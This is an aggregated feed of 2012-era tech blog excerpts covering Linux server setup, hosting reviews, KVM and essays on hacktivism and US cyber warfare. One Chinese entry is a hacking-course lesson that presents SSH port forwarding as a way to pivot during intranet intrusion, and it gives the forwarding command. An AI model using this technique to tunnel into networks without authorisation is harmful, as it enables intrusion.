href="http://www.liberiangeek.net/2012/04/setup-windows-printer-in-ubuntu-12-04-precise-pangolin/" rel="bookmark" class="crp_title">Setup Windows&rsquo; Printer in Ubuntu 12.04 (Precise Pangolin)</a></li><li><a
href="http://www.liberiangeek.net/2012/05/windows-7-vs-ubuntu-12-04-how-to-automatically-start-programs/" rel="bookmark" class="crp_title">Windows 7 vs. Ubuntu 12.04: How to Automatically Start Programs</a></li><li><a
href="http://www.liberiangeek.net/2012/04/adjust-unity-launcher-size-icons-in-ubuntu-12-04-precise-pangolin/" rel="bookmark" class="crp_title">Adjust Unity Launcher Size (icons) in Ubuntu 12.04 (Precise Pangolin)</a></li></ul></div><p><a
href="http://www.liberiangeek.net">Liberian Geek</a></p>
<p><a href="http://feedads.g.doubleclick.net/~a/XRBZdAYMiXaoTlIkEHS-4TQn3jg/0/da"><img src="http://feedads.g.doubleclick.net/~a/XRBZdAYMiXaoTlIkEHS-4TQn3jg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/XRBZdAYMiXaoTlIkEHS-4TQn3jg/1/da"><img src="http://feedads.g.doubleclick.net/~a/XRBZdAYMiXaoTlIkEHS-4TQn3jg/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LiberianGeek?a=Dan-b4ohi28:NitPmir76Fs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LiberianGeek?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LiberianGeek?a=Dan-b4ohi28:NitPmir76Fs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LiberianGeek?i=Dan-b4ohi28:NitPmir76Fs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LiberianGeek?a=Dan-b4ohi28:NitPmir76Fs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/LiberianGeek?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LiberianGeek?a=Dan-b4ohi28:NitPmir76Fs:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/LiberianGeek?i=Dan-b4ohi28:NitPmir76Fs:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/LiberianGeek/~4/Dan-b4ohi28" height="1" width="1"/>


title: Squid Stable 9 Under CentOS 5.4 Minimal
source: http://rootzone.net/squid-stable-9-under-centos-5-4-minimal
author: admin
description:
CentOS 5.4 minimal? WTM? (What the Minimal &#8211; lol). Well, normally CentOS installation needs 5 CD, but here we just need 1 CD, only base package for the installation, that&#8217;s why i called CentOS minimal, even it&#8217;s suite for the need of proxy machine, we only install the necessary package so it will be lighter. [...]


title: Free Client VPN
source: http://rootzone.net/free-client-vpn
author: 2298
description:
This is free virtual private network account with high speed connection and unmetered data transfer from VPN4FREE, download config here: http://rapidshare.com/files/407751537/vpn4free_cfg_test.rar rar pass: vpn4free.org Rules: No illegal activities usage. Incoming search terms:vpn zdarmagratis vpnunmetered data transfer vpningyenes vpngratis vpn clientsite telechargement vpn gratuitfree vpnvpn4free linuxfree client vpnvpn4free download Blog this on Blogger Share this on [...]


title: Squid under Debian 5.04 64-bit netinst – Part 1
source: http://rootzone.net/squid-under-debian-5-04-64-bit-netinst-part-1
author: 2298
description:
Part 1. Installing Debian 5.04 64-bit netinst The Debian Project is an association of individuals who have made common cause to create a free operating system. This operating system is called Debian GNU/Linux, or simply Debian for short. Debian systems currently use the Linux kernel. Linux is a completely free piece of software started by [...]


title: Squid under Debian 5.04 64-bit netinst – Part 2
source: http://rootzone.net/squid-under-debian-5-04-64-bit-netinst-%e2%80%93-part-2
author: 2298
description:
Part 2: Installing Squid 1. Installing Dependencies Update your debian first, so your repositories will be work. #apt-get update &#038;&#038; apt-get upgrade &#038;&#038; apt-get clean #apt-get install -y gcc openssh-server autoconf automake make 2. Get the Squid 2.7 Stable 9 #cd /usr/src #wget http://www.squid-cache.org/Versions/v2/2.7/squid-2.7.STABLE9.tar.gz #tar -zxvf squid-2.7.STABLE9.tar.gz #cd squid-2.7.STABLE9 3. Compile Squid you can read [...]


title: EZPZ Hosting Review
source: http://rootzone.net/ezpz-hosting-review
author: admin
description:
EZPZ Hosting was established in early 2007, they are providing web hosts, reseller, virtual server, dedicated server, shoutcast server, and seo services. And here i will review their web hosts service. I have been using their web hosts service located in United Kingdom since one year ago, so far they have a good performance in [...]


title: Hostgator Review
source: http://rootzone.net/hostgator-review
author: admin
description:
Before i am going to write my review about Hostgator, i want to ask you about this web hosting provider first, have you ever heard about Hostgator? If you have not, then you are kidding me. Hostgator is one of the best web hosting provider, they have a worldwide reputation because of their professionalism and [...]


title: Squid under Debian 5.04 64-bit netinst – Part 3
source: http://rootzone.net/squid-under-debian-5-04-64-bit-netinst-%e2%80%93-part-3
author: admin
description:
Continued from part 2 Extra Configuration 1. HTOP HTOP is like task manager in windows #apt-get install -y htop and for accessing it, just type &#8220;htop&#8221; in console 2. Webmin #cd /usr/src #wget http://downloads.sourceforge.net/project/webadmin/webmin/1.510/webmin-1.510.tar.gz?use_mirror=biznetnetworks&#38;&#38;=1279413592 #tar -zxvf webmin-1.510.tar.gz #cd webmin-1.510.tar.gz #./setup.sh /usr/local/webmin and then we just follow the commands that are in the console, the xxx [...]


title: Shared and Dedicated Hosting – What’s the Difference?
source: http://rootzone.net/shared-and-dedicated-hosting-%e2%80%93-whats-the-difference
author: admin
description:
When choosing a web hosting package there are essentially (excluding virtual private server hosting) two options: shared and dedicated hosting. As you would guess, each of these hosting solutions is fundamentally different and therefore you choice of either will have a significant impact over the running of your website. With a shared hosting service your [...]


title: Virtualization With KVM On Ubuntu 12.04 LTS
source: http://www.howtoforge.com/virtualization-with-kvm-on-ubuntu-12.04-lts
author: Anonymous
description:
<table align="left" cellpadding="0" cellspacing="0" width="42" height="40" style="margin-top:0px;margin-bottom:0px;"><tr><td><img class="teaser-image-odd" src="http://static.howtoforge.com/images/teaser/ubuntu.gif" width="39" height="40" alt="" /></td></tr></table><p><b>Virtualization With KVM On Ubuntu 12.04 LTS</b></p>

<p>This guide explains how you can install and use KVM for creating and 
running virtual machines on an Ubuntu 12.04 LTS server. I will show how 
to create image-based virtual machines and also virtual machines that 
use a logical volume (LVM). KVM is short for <b>Kernel-based Virtual Machine</b> and makes use of hardware virtualization, i.e., you need a CPU that supports hardware virtualization, e.g. Intel VT or AMD-V.</p>


title: 教学文档44课 内网HACK OPENSSH 端口转发的利用
source: http://brk.dis9.com/use-of-the-an-an-an-an-an-intranet-hack-port-forwarding.html
author: admin
description:
教学文档的44课时 进来没更新博客 对不起读者，SO 抽一个教学文档出来 前言 OPENSSH SERVER这个东西在内网入侵中的利用，前几天徒弟一枝花问我，只是简单的说了下，今天详细的讲讲 其实这个东西有很多的用处，请背诵man1-10段&#8230; 前几天教学文档的37课端口劫持也不错，秒杀SSL和SSH密匙认证，但是总的来说OPENSSH更为强大，其实端口劫持在教学文档中也只是一笔带过，以后会详细的说作用，会让你射精 其实最常用的还是SOCKS 什么的 ，去围观苍老师，腾飞老师，这个不能说 ，怕被和谐，听TM3Y这货说帝都已经封了22端口了 原理 OpenSSH 通过其加密的数据通道可以创建三种类型的端口转发，分别是本地(Local)、远程(Remote)和动态(Dynamic)。 本地(Local) ssh -N -L bind_address:bind_port:host_name:host_port username@server_address ssh -N -L bind_address:bind_port:host_name:host_port username@server_address 当上面的命令被执行后，运行在客户端的 ssh 进程先连接运行在服务器端(server_address) sshd 进程，并进行身份验证。如果验证成功了，ssh 和 sshd 之间会建立一个 TCP/IP 连接，用于传输数据，这个连接上面传输的数据是加密的。 接着 ssh 会在 bind_address:bind_port 上创建一个 TCP/IP 协议的 socket 并进行侦听，当收到数据后直接通过之前建立的连接传输给服务器上的 sshd 进程， sshd 收到数据后会新建一个 socket 连接 host_name:host_port 并向其发送之前收到的数据。 相反，当 [...]


title: İlk yıldırım fotoğrafım
source: http://web.bilecik.edu.tr/murat-ozalp/2012/06/03/ilk-yildirim-fotografim/
author: murat-ozalp
description:
<p>Yıllardır yıldırım fotosu &ccedil;ekmek istrerdim. İ&ccedil;imde ukte kaldıydı. Tembellikten de uygun havalarda &ccedil;ıkıp ta denememiştim. Artık balkonun tam karşısında &ccedil;akmaya başlayınca zahmet edip &ccedil;ekeyim dedim :)</p>
<p>En beğendiklerimden bir tanesi aşağıda. İpler bozmuş, &ouml;l&uuml; pikseller var, fazla grenli, bla bla.. bi ton şey s&ouml;ylenebilir. O nedenle oylanan sitelere g&ouml;ndermedim. Ama ilk olmasının ayrı bir g&uuml;zelliği var&#8230;</p>
<p><a href="http://web.bilecik.edu.tr/murat-ozalp/files/2012/06/IMG_6402k.jpg"><img alt="" class="alignleft size-full wp-image-1279" src="http://web.bilecik.edu.tr/murat-ozalp/files/2012/06/IMG_6402k.jpg" style="width: 737px;height: 491px" /></a></p>


title: The hacktivism phenomenon
source: http://securityaffairs.co/wordpress/6086/cyber-crime/the-hacktivism-phenomenon.html
author: paganinip
description:
<p><img class="alignnone" title="TIM" src="http://securityaffairs.co/wordpress/wp-content/uploads/2012/05/MaltaIndipendent.jpg" alt="" width="434" height="40" /></p>
<h3><a title="http://www.independent.com.mt/news.asp?newsitemid=145366" href="http://www.independent.com.mt/news.asp?newsitemid=145366" target="_blank">Article published on The Malta Indipendent</a></h3>
<p>The last years have been characterised by the escalation of operations conducted by <a title="They are Not What You Think They are … They are Hacktivists" href="http://securityaffairs.co/wordpress/4986/cyber-crime/they-are-not-what-you-think-they-are-they-are-hacktivists.html" target="_blank">hacktivist</a> groups, such as the famous <a title="Anonymous Reloaded. Yesterday, today, tomorrow" href="http://securityaffairs.co/wordpress/4935/cyber-crime/anonymous-reloaded-yesterday-today-tomorrow.html" target="_blank">Anonymous</a>, which have expressed social dissent through cyber attacks. In contemporary society technology plays a crucial role, and is used as a new cultural vehicle and even aggregation element. It’s a natural evolution towards technology usage and also a carrier of social dissent against the policies of governments and private companies.</p>
<p>Groups such as Anonymous are classic examples of the phenomenon known as “hacktivism” which refers to the usage of computers, and computer networks, to express social protest, or to promote a political ideology. This form of protest isn’t recent; the term in fact was introduced for the first time in 1996 by a hacker named Omega, who was a member of the famous group of hackers the “Cult of the Dead Cow”. The hacktivists attack IT infrastructures with legal and illegal tools to perform their operations of protest, such as denial-of-service attacks, information theft, data breach, web site defacement, typosquatting, and any other methods of digital sabotage.</p>
<p>Anonymous and its operations are at the centre of a heated debate, with public opinion and industry experts divided between those who believe the collective is a group of cyber criminals, and those who take due account of the phenomenon, trying to understand the dynamics of its genesis, and not neglecting the added value of their participation in social dialogue.</p>
<p>According to the study “<a title="Verizon Report, the wind of hacktivism pushes cybercrime" href="http://securityaffairs.co/wordpress/3524/cyber-crime/verizon-report-the-wind-of-hacktivism-pushes-cybercrime.html" target="_blank">Data Breach Investigations Report</a>” published by Verizon, hacktivists stole almost twice as many records of ordinary <a title="Analysis of cybercrime and its impact on private and military sectors" href="http://securityaffairs.co/wordpress/4631/cyber-crime/analysis-of-cybercrime-and-its-impact-on-private-and-military-sectors.html" target="_blank">cybercrime</a> from organisations and government agencies, demonstrating how dangerous the phenomenon is.</p>
<p>The most common type of attacks by the Anonymous group is without doubt the Distributed Denial of Service (<a title="DDoS, detailed analysis of the phenomenon" href="http://securityaffairs.co/wordpress/4468/cyber-crime/ddos-detailed-analysis-of-the-phenomenon.html" target="_blank">DDoS</a>), used to make a site or a web service unavailable due to an enormous quantity of requests sent over a short period of time.</p>
<p>But Anonymous and hacktivists in general are demonstrating increasing skills in their attacks, and experts are sure we will witness an increase in the volume of their operations, with possible extensive damage.</p>
<p>In this view, the latest attacks represent an element of innovation because, although it is always a DDoS attack, the method used has profoundly changed since conception. Now a user can, by simply visiting a web page and without any interaction, unwittingly start to flood a victim with unwanted traffic. The trick is possible by simply hiding JavaScript procedures, specifically developed to be interpreted by common web browsers, within the web pages.</p>
<p>Hacktivism has made a quantum leap with this new method for two simple reasons:</p>
<p><em><strong>The offensive force has increased dramatically.</strong></em></p>
<p>From a legal standpoint, it is hard to attribute criminal liability to each user. Previously, for example with the attack called LOIC that was used to hack VISA and Mastercard, a user who participated could risk liability because an element of willingness to be involved could be established. However, in the latest style of attack today, a user can claim to be unaware. This subtle aspect could be stimulus for a wide category of undecided persons, who share the ‘hacktivist’ ideology, to overcome their fear of incurring legal process and consequently participate in hacking operations.</p>
<p>Hacktivism also has a cyber warfare connotation, with some groups having a total aversion to any form of control and <a title="Monitoring or censorship? The big fear" href="http://securityaffairs.co/wordpress/3042/intelligence/monitoring-or-censorship-the-big-fear.html" target="_blank">monitoring</a>, making these groups of hackers oppose any government(s).</p>
<p>The boundary between interpretation of an operation as a simple act of protest or as cybercrime is thin. While many operations are limited to DDoS against a few web sites, resulting in their closure or suspension of operations, on more than one occasion the hacks have resulted in the acquisition, and/or disclosure to the public, of sensitive information with serious consequences.</p>
<p>This happened last Christmas when <a title="Wikileaks &amp; Anonymous, new alliance against dirty affairs" href="http://securityaffairs.co/wordpress/2927/intelligence/wikileaks-anonymous-new-alliance-against-dirty-affairs.html" target="_blank">Wikileaks</a> published, with the support of Anonymous, more than five million e-mails from Texas-based global security think tank company <a title="Stratfor on Iran, Palantir and Goldman Sachs" href="http://securityaffairs.co/wordpress/2946/intelligence/stratfor-on-iran-palantir-and-goldman-sachs.html" target="_blank">Stratfor</a>, a global intelligence firm. The exposed material shows how government and diplomatic sources all around the world give Stratfor clear advanced knowledge of events and of the politic strategies, all in exchange for money. A great web of informants, government employees, embassy staff and journalists, has been recruited everywhere, and paid through Swiss bank accounts and pre-paid credit cards. On the other hand of course, the actions of groups of hacktivists represent a serious threat to private industry and the national security of each country. The group’s attacks have been shown to bring about the blocking of services provided by a company, to gain access to sensitive information whose disclosure could undermine the internal balance of a country and its relationship with allied states. And it’s for this reason that hacktivism is considered within a cyber strategy as a major cyber threat which can cripple, with its attacks, <a title="Critical infrastructures &amp; manipulation of the name Anonymous" href="http://securityaffairs.co/wordpress/2807/intelligence/critical-infrastructures-manipulation-of-the-name-anonymous.html" target="_blank">critical infrastructures</a>, financial services and government agencies.</p>
<p>Groups of hacktivist are considered as the uncontrollable variables in cyber space, capable of surprising us with striking operations worthy of the most skilled cyber army.</p>
<blockquote><p><strong><em>Is it possible to use the group and its popularity as a <a title="Cyber Weapons" href="http://securityaffairs.co/wordpress/3896/intelligence/cyber-weapons.html" target="_blank">cyber weapon</a>? How is it possible?</em></strong></p></blockquote>
<p>Several intelligence agencies believe that it could be more profitable to influence the operations against strategic objectives. Let’s imagine fake hacktivist cells that recruit ordinary people to direct attacks against institutions and hostile governments. We found, on more than one occasion, how dangerous a breath of wind of protest through the new social media can be.</p>
<p>Intelligence operations and studies of the phenomenon are preparatory to the approach, but with regard to the possibility of infiltrating the group, this could of course be achieved by conditioning, for example through financial compensation and other incentives, the medium and high level representatives of the groups − those people that define the strategies of protest. There are risks related to negotiation with unstable and mutable organisations that we do not fully understand, but history teaches that such agreements are possible, and have indeed occurred in the past, such as between states and criminal organisations. In some ways this approach is similar to what can occur when government intelligence agencies discover a weakness in existing cyber infrastructures and, rather than report and assist to repair the weakness, they allow the weakness to remain so as to be able to exploit it for their own offensive purposes now or in the future. This is different to ‘ethical hacking’ where a person (such as co-author of this article Pierluigi Paganini) hacks to find weaknesses in a system for the purpose of identifying and removing the weakness, and to help build defences. Ross Anderson, the well known professor in Security Engineering at Cambridge University, is reported to have asserted that the “lions’ share” of the UK government’s cyber budget is allocated to develop cyber offence capabilities.</p>
<blockquote><p><strong><em>Is hacktivism only a threat or also a <a title="Anonymous vs FBI, threat or voice to listen?" href="http://securityaffairs.co/wordpress/2300/cyber-crime/anonymous-vs-fbi-threat-or-voice-to-listen.html" target="_blank">voice to listen to</a>? What can we expect for the future?</em></strong></p></blockquote>
<p>Some forms of hacktivism protests are certainly illegal, but we must consider that they are expressions of dissent shared between large communities; they are the voice of masses. The demonstration is in the number behind each attack. These guys are not alone, they have a lot of common people behind them. The main events of protest in history were always characterised by elements of illegality due to their connotation of opposing the governments in question. From a legislative perspective, we must distinguish a hacktivist from a cyber criminal. Although the damages are to be considered in high regard, there are countless methods of judgment regarding the actions of Anonymous and similar groups. In terms of security, the group is without doubt considered a threat due to the capabilities shown and the objectives selected. In another sense they do bring to public awareness some of the clear vulnerabilities in existing cyber systems, and thinking people will be asking themselves, and hopefully others, “Why are our critical cyber systems so vulnerable?” Hacktivism can therefore be seen as helping to motivate a shift towards much needed improvements. Politically, I think that Anonymous is a voice to be taken into account. Ideologies could not be repressed with the arrests, and what is possibly unique about Internet enabled social activism, such as the Arab Spring, is that it can reflect a widespread shift or evolution in popular opinion or consciousness.</p>
<p>These observed attacks should give us cause to reflect. I think the group is currently in a state of transition which, despite having reached a critical mass of supporters, has began to split into numerous cells scattered throughout the world.</p>
<blockquote><p><em><strong>For now, these cells appear to be driven by common goals, but what will happen tomorrow?</strong></em></p></blockquote>
<p>In a heterogeneous scenario, the risk that external agents can infiltrate the group influencing policy is concrete. New operations can be organised in the name of the group with unpredictable consequences, foreign states or law enforcement may involve masses of people and convince unaware hacktivist to conduct ideological battles. The time of hiding, in the form of protest, could begin to decline and, to give strength to their operations, hacktivists would be obliged to make public appearances, presenting their vision and political programmes to the world through their representatives. The groups are aware that their attacks may begin to serve a third cause, not just their own.</p>
<p>Analysing for example the Anonymous case, we must distinguish two phases of Anonymous phenomenon, the first one that I define “<em>Here I am, know me and learn to live with my judgment</em>” is the one we are leaving − in this phase the group introduced itself to the world, showing its offensive capabilities but also enjoying broad support. The second phase, named “<em>Openness</em>”, is the one we will live in the coming months. In this phase the group will try to talk with institutions, will operate on the internet, but also in the street. The stage is very delicate. Because of the heterogeneous nature of the groups, many hacktivists will not accept the openness of institutions, deciding instead to pursue a policy separate from the line indicated by the collective, perhaps seeing themselves as victims who, through becoming loose cannons in the web, could stage indiscriminate and unethical attacks.</p>
<p>This is the worst scenario, where chaos may reign on the web, where regulations cannot keep up with social change, and where some government and corporate bodies are trying to create a sense of security and trust in the cyber environment, while others seek to exploit what some world class security experts state is a history of generations of deployments of insecure cyber systems, with subsequent endless security patching.</p>
<p>It is time to revert to the fundamentals, to insist only on cyber systems that are built secure from the ground up, and in the meantime we can also continue to support the call for more openness in government and corporate management, whereby it would not fall to hacktivist groups to be, at times, the ones to have to expose actions and attitudes by people and organisations in positions of trust failing to satisfy democratic principles and working counter to future harmonious international relations. When all is said and done, a secure and resilient cyber domain should be a universal and fundamental right, along with honesty and transparency in both government and corporate governance. No doubt the future will see more hacktivism and hopefully other less disconcerting forms of Internet enabled social activism to achieve these constructive objectives.</p>
<h3> <strong><span style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: x-small;">by Ron Kelson, Pierluigi Paganini, David Pace</span></strong></h3>
<p>ICT Gozo Malta is a joint collaboration between the Gozo Business Chamber and Synaptic Labs, part funded by the Ministry for Gozo, Eco Gozo Project, and prize winner in the 2012 Malta Government National Enterprise Innovation Awards. www.ictgozomalta.eu has links to free cyber awareness resources for all age groups. To promote Maltese ICT to the world, we encourage all ICT Professionals to register on the ICT GM Skills Register and keep aware of developments, both in Cyber Security and other ICT R&amp;D initiatives in Malta and Gozo. For further details contact David Pace at dave.pace@ictgozomalta.eu.</p>
<p>Sig. Paganini, Security Specialist CISO Bit4ID Srl, is a CEH − Certified Ethical Hacker, EC Council and founder of Security Affairs</p>
<p>Mr Kelson is Vice Chair of the ICT Gozo Malta Project and CEO of Synaptic Laboratories Limited.</p>


title: Plan X, new lymph to US cyber warfare capabilities
author: paganinip
source:
http://securityaffairs.co/wordpress/6074/intelligence/plan-x-new-lymph-to-us-cyber-warfare-capabilities.html

description:
<p>Recent events have demonstrated the strategic importance of the cyber strategy the needs to chair the cyber space, many experts sustains that the cyber war era is just begun, due this reason the Pentagon is involving the private companies, universities and even <a title="Governments and gaming platforms, it’s time for warfare" href="http://securityaffairs.co/wordpress/4078/hacking/governments-and-gaming-platforms-its-time-for-warfare.html" target="_blank">computer-game companies</a> to develop technologies to improve its cyber warfare capabilities.</p>
<p>Events such as the diffusion of <a title="Call it Flame, Flamer or Skywiper … it’s a new cyber weapon" href="http://securityaffairs.co/wordpress/5858/malware/call-it-flame-flamer-or-skywiper-its-a-new-cyber-weapon.html" target="_blank">Flame</a> malware and the revelations on the genesis of <a title="Stuxnet &amp; Duqu, update on cyber weapons usage" href="http://securityaffairs.co/wordpress/4544/hacking/stuxnet-duqu-update-on-cyber-weapons-usage.html" target="_blank">Stuxnet</a> are inducing many concerns of US administration regarding the possibility of cyber attacks against America.</p>
<p>Obama administration is massive investing in the cyber warfare preparing its structures to respond to cyber threats and also creating the condition to launch effective attacks against foreign and hostile states. If confirmed the <a title="“Olyimpic Games” and boomerang effect, it isn’t sport but cyber war" href="http://securityaffairs.co/wordpress/6048/intelligence/olyimpic-games-and-boomerang-effect-it-isnt-sport-but-cyber-war.html" target="_blank">&#8216;Olympic Games&#8217;</a> operation if the first sample of offensive conducted in the cyber space and arranged without conventional weapon, using digital attacks instead of military operations.</p>
<p>The project that will involve also private non-military entities in what is considered &#8220;a call to arms&#8221; has been names Plan X, it is more oriented on protecting the Defense Department’s computer systems than on disrupting or destroying those of enemies. Plan X is a project of the DARPA (Defense Advanced Research Projects Agency), a Pentagon section responsible for the development of new technology for use by the military.</p>
<blockquote><p>“Because the origins of cyberattack have been in the intelligence community, there’s a tendency to believe that simply doing more of what they’re doing will get us what we need,”</p></blockquote>
<p>said Kaigham J. Gabriel, acting director of DARPA.</p>
<blockquote><p>“That’s not the way we see it. There’s a different speed, scale and range of capabilities that you need. No matter how much red you buy, it’s not orange.”</p></blockquote>
<p>According the fundamental of a military tactical one of the main aspects of a war is the deep knowledge of the battlefield, for this reason one of the main projects to be financed is the tracking of cyberspace and all entities that populate it, its map have to be updated over time to allow precise monitoring of main area of battle. Other projects will be related to the hardening of Operating Systems to resist to any king of cyber attacks in different scenarios, probably mobile as desktop.The officials seems to have a clear idea of the OSs of the future, totally different from the one we ordinary use.</p>
<p style="text-align: center;"><a href="http://securityaffairs.co/wordpress/wp-content/uploads/2012/06/pentagon.jpg"><img class="aligncenter  wp-image-6080" title="pentagon" src="http://securityaffairs.co/wordpress/wp-content/uploads/2012/06/pentagon.jpg" alt="" width="363" height="292" /></a></p>
<p>Many experts sustain the one of the primary target is to develop a new generation of cyber soldier, artificial intelligence able to prevent cyber attacks and that is able to conduct powerful offensives automatically. The research program promoted by DARPA agency has a duration of five years and will be financed with $110 million starting from this summer. The agency has allocated a total budget of $1.54 billion from 2013 to 2017 with the specific target to increase cyber-offense capabilities.</p>
<p>Projects such as the X Plan marked a turning point in approach of US government to the matter, which expects to the opening a sensible contribute, a new lymph. Cyber warfare has always been a dark field, unchallenged domain of intelligence representatives, now the Pentagon intends to ask for support to private industry to develop new <a title="Cyber Weapons" href="http://securityaffairs.co/wordpress/3896/intelligence/cyber-weapons.html" target="_blank">cyber weapons</a>.</p>
<blockquote><p>But are we confident that the project Plan X is not simply a pretext to formalize what is going on for years?</p></blockquote>
<p>The recruitment model proposed is not new and has long been adopted by other major powers such as China. In an ideal situation the institution should start from below, from schools to present the <a title="Cyber threats from military sector to business" href="http://securityaffairs.co/wordpress/1575/security/cyber-threats-from-military-sector-to-business.html" target="_blank">cyber threats</a> and educate students on the techniques of prevention. This should only be a first step, which should be followed by the arrangement of specific hacking training programs. Many Eastern countries, especially <a title="“Cyber China” From Operation Aurora to China Cyber attacks Syndrome" href="http://securityaffairs.co/wordpress/1433/cyber-crime/cyber-china-from-operation-aurora-to-china-cyber-attacks-syndrome.html" target="_blank">China</a>, are investing heavily in the potential of its young people who are now enrolled and engaged in intense training programs to increase their cyber capabilities.</p>
<p>Let consider the Chinese model, these new recruits are primarily interested in the subject and the central government provides a wide range of relief for deserving students and their families. This in my view means looking ahead, prepare for a future that is radically changing the way we live.</p>
<p>It is required a global change involving the new generation, giving to young people tools and knowledge to understand how disastrous can be a cyber attack and how much is sensitive to the choice of participating in a <a title="The year of the networked protest, from SOPA act to Anonymous" href="http://securityaffairs.co/wordpress/675/cyber-crime/675.html" target="_blank">protest </a>action style <a title="Illustrious victim, Cia.gov Tango Down by Anonymous" href="http://securityaffairs.co/wordpress/2475/cyber-crime/illustrious-victim-cia-gov-tango-down-by-anonymous.html" target="_blank">Anonymous</a>. We tell them that with the same mode of attack it is possible to offend a hostile country, damaging telecommunications systems and other <a title="SCADA and vulnerabilities to critical infrastructures" href="http://securityaffairs.co/wordpress/754/cyber-crime/scada-and-vulnerabilities-to-critical-infrastructure.html" target="_blank">critical infrastructure</a>.</p>
<p>The program launched by DARPA, in my opinion, comes in a crucial moment in which the strategic importance of the garrison in the cyber space has become a prerequisite for the cyber strategy of each country. Projects such as Plan X does not add anything new to the operational reality of many states, but it has formalized collaborations that go on for years in more or less transparent way.<br />
Cyber Weapons , systems and applications for monitoring, malware for cyber espionage make use of the contribution of private industry for years.<br />
The road is the right one, and we crossed the threshold of a new era, one where the fight wars with cyber weapon and bits instead of guns and bullets, in which the hackers are a new generation of soldiers.</p>
<p>Pierluigi Paganini</p>
<p>&nbsp;</p>
<p>&nbsp;</p>


